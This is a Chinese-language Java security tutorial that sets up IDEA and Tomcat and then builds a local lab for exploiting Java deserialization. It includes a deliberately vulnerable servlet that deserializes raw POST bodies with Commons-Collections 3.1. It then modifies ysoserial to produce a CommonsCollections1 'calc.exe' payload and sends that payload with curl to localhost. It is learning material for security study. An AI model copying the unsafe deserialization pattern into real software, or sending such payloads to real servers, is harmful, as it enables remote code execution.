Java安全01-Idea和漏洞demo
字数 1565 2025-08-06 08:35:16

Java安全学习:Idea环境搭建与漏洞Demo实践

前置准备

基础知识要求

  • 基本Java语法知识
  • 理解方法、类、构造器、重载、继承、反射等概念

环境准备

  1. 开发工具

    • IntelliJ IDEA (支持Mac和Windows)
  2. 运行环境

    • Tomcat服务器
    • JDK/JRE (建议准备多个版本,特别是低于18_271的版本用于漏洞复现)

基础环境配置

1. 创建Java Enterprise项目

  1. 在IDEA中选择"New Project" → "Java Enterprise"
  2. 选择Servlet作为初始依赖
  3. 配置项目信息:
    • 项目名称
    • Group ID (通常为公司/小组名称)
    • Artifact (部署实例名)

2. 项目目录结构

创建完成后,项目目录应包含:

src/
  main/
    java/       - Java源代码
    webapp/     - Web资源文件
      WEB-INF/  - 配置文件目录

3. 创建简单JSP页面

  1. webapp目录下创建index.jsp
  2. 添加基本内容:
<body>hello world</body>

4. 配置Tomcat服务器

  1. 点击右上角"Edit Configurations"
  2. 添加"Tomcat Server" → "Local"
  3. 配置:
    • Name: 自定义名称
    • Application Server: 选择Tomcat安装目录
  4. 部署配置:
    • 添加Artifact (选择war格式)

5. 运行测试

  1. 点击"Run"启动项目
  2. 访问http://localhost:8080/[artifact_name]/
  3. 应能看到"hello world"输出

Servlet开发实践

1. 创建Servlet

  1. src/main/java右键创建新的Servlet类
  2. 示例代码:
@WebServlet(name = "firstServlet")
public class firstServlet extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) 
        throws ServletException, IOException {
        doGet(request, response); // 将POST请求交给doGet处理
    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) 
        throws ServletException, IOException {
        PrintWriter out = response.getWriter();
        out.write("Hello world from firstServlet");
        out.close();
    }
}

2. 配置web.xml

WEB-INF/web.xml中添加:

<servlet>
    <servlet-name>firstServlet</servlet-name>
    <servlet-class>firstServlet</servlet-class>
</servlet>
<servlet-mapping>
    <servlet-name>firstServlet</servlet-name>
    <url-pattern>/firstservlet</url-pattern>
</servlet-mapping>

3. 修改index.jsp添加链接

<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>
    hello world!
    <a href="firstservlet">Go to firstServlet</a>
</body>
</html>

反序列化漏洞Demo搭建

1. 环境要求

  • JRE版本需低于18_271 (推荐使用18_66)
  • 添加Commons-Collections 3.1依赖

2. 添加依赖

pom.xml中添加:

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.1</version>
</dependency>

3. 创建漏洞Servlet

  1. 创建demoservlet.java
@WebServlet(name = "demoserver")
public class demoservlet extends HttpServlet {
    protected void doPost(HttpServletRequest request, HttpServletResponse response) 
        throws ServletException, IOException {
        // 接受POST请求传输的流,并进行反序列化操作
        ServletInputStream sis = request.getInputStream();
        ObjectInputStream ois = new ObjectInputStream(sis);
        try {
            ois.readObject();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        }
        ois.close();
    }

    protected void doGet(HttpServletRequest request, HttpServletResponse response) 
        throws ServletException, IOException {
        PrintWriter out = response.getWriter();
        out.write("Hello world from firstServlet");
        out.close();
    }
}
  1. 配置web.xml
<web-app>
    <display-name>Archetype Created Web Application</display-name>
    <servlet>
        <servlet-name>demoserver</servlet-name>
        <servlet-class>demoservlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>demoserver</servlet-name>
        <url-pattern>/demoserver</url-pattern>
    </servlet-mapping>
</web-app>

使用ysoserial生成Payload

1. 获取ysoserial

git clone https://github.com/frohoff/ysoserial.git

2. 在IDEA中打开ysoserial

  1. 选择"Open" → 选择pom.xml → "Open as Project"
  2. 等待依赖下载完成

3. 修改代码生成Payload文件

ysoserial.payloads.util.Serializer类中添加:

public static void serialize(final Object obj, final OutputStream out) throws IOException {
    final ObjectOutputStream objOut = new ObjectOutputStream(out);
    objOut.writeObject(obj);
    
    // 添加生成payload文件的代码
    try {
        FileOutputStream fout = new FileOutputStream("./payload.ser");
        ObjectOutputStream ot = new ObjectOutputStream(fout);
        ot.writeObject(obj);
        ot.close();
        fout.close();
    } catch (FileNotFoundException FNFE) {
        System.out.println("./payload.ser Not Found");
    }
}

4. 生成Payload

  1. 运行GeneratePayload类的main方法
  2. 参数:CommonsCollections1 "calc.exe"
  3. 将在当前目录生成payload.ser文件

测试Payload

1. 启动Web应用

  1. 关闭ysoserial项目
  2. 打开之前的Web项目
  3. 启动Tomcat服务器

2. 使用curl发送Payload

curl -x http://127.0.0.1:8081 http://localhost:8080/demoserver_war_exploded//demoserver --data-binary @payload.ser

参数说明:

  • -x: 配置Burp的HTTP代理(8080被Tomcat占用时使用8081)
  • --data-binary: 以POST方式发送二进制数据

3. 预期结果

成功执行calc.exe命令(弹出计算器)

动态调试

1. 设置断点

LazyMap.get()方法中设置断点:

public Object get(Object key) {
    if (map.containsKey(key) == false) {
        // 在此处设置断点
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

2. 调试模式

  1. 将Tomcat切换为Debug模式
  2. 通过Burp重发请求
  3. 程序将在断点处暂停,可观察调用栈和变量值

总结

本教程详细介绍了:

  1. Java Web开发环境搭建
  2. 基本Servlet开发流程
  3. 反序列化漏洞环境配置
  4. ysoserial工具的使用和修改
  5. 漏洞利用测试方法
  6. 动态调试技巧

通过这个环境,可以继续研究其他Java安全漏洞,为后续的Java安全学习打下坚实基础。

Java安全学习:Idea环境搭建与漏洞Demo实践 前置准备 基础知识要求 基本Java语法知识 理解方法、类、构造器、重载、继承、反射等概念 环境准备 开发工具 : IntelliJ IDEA (支持Mac和Windows) 运行环境 : Tomcat服务器 JDK/JRE (建议准备多个版本,特别是低于18_ 271的版本用于漏洞复现) 基础环境配置 1. 创建Java Enterprise项目 在IDEA中选择"New Project" → "Java Enterprise" 选择Servlet作为初始依赖 配置项目信息: 项目名称 Group ID (通常为公司/小组名称) Artifact (部署实例名) 2. 项目目录结构 创建完成后,项目目录应包含: 3. 创建简单JSP页面 在 webapp 目录下创建 index.jsp 添加基本内容: 4. 配置Tomcat服务器 点击右上角"Edit Configurations" 添加"Tomcat Server" → "Local" 配置: Name: 自定义名称 Application Server: 选择Tomcat安装目录 部署配置: 添加Artifact (选择war格式) 5. 运行测试 点击"Run"启动项目 访问 http://localhost:8080/[artifact_name]/ 应能看到"hello world"输出 Servlet开发实践 1. 创建Servlet 在 src/main/java 右键创建新的Servlet类 示例代码: 2. 配置web.xml 在 WEB-INF/web.xml 中添加: 3. 修改index.jsp添加链接 反序列化漏洞Demo搭建 1. 环境要求 JRE版本需低于18_ 271 (推荐使用18_ 66) 添加Commons-Collections 3.1依赖 2. 添加依赖 在 pom.xml 中添加: 3. 创建漏洞Servlet 创建 demoservlet.java : 配置 web.xml : 使用ysoserial生成Payload 1. 获取ysoserial 2. 在IDEA中打开ysoserial 选择"Open" → 选择 pom.xml → "Open as Project" 等待依赖下载完成 3. 修改代码生成Payload文件 在 ysoserial.payloads.util.Serializer 类中添加: 4. 生成Payload 运行 GeneratePayload 类的main方法 参数: CommonsCollections1 "calc.exe" 将在当前目录生成 payload.ser 文件 测试Payload 1. 启动Web应用 关闭ysoserial项目 打开之前的Web项目 启动Tomcat服务器 2. 使用curl发送Payload 参数说明: -x : 配置Burp的HTTP代理(8080被Tomcat占用时使用8081) --data-binary : 以POST方式发送二进制数据 3. 预期结果 成功执行 calc.exe 命令(弹出计算器) 动态调试 1. 设置断点 在 LazyMap.get() 方法中设置断点: 2. 调试模式 将Tomcat切换为Debug模式 通过Burp重发请求 程序将在断点处暂停,可观察调用栈和变量值 总结 本教程详细介绍了: Java Web开发环境搭建 基本Servlet开发流程 反序列化漏洞环境配置 ysoserial工具的使用和修改 漏洞利用测试方法 动态调试技巧 通过这个环境,可以继续研究其他Java安全漏洞,为后续的Java安全学习打下坚实基础。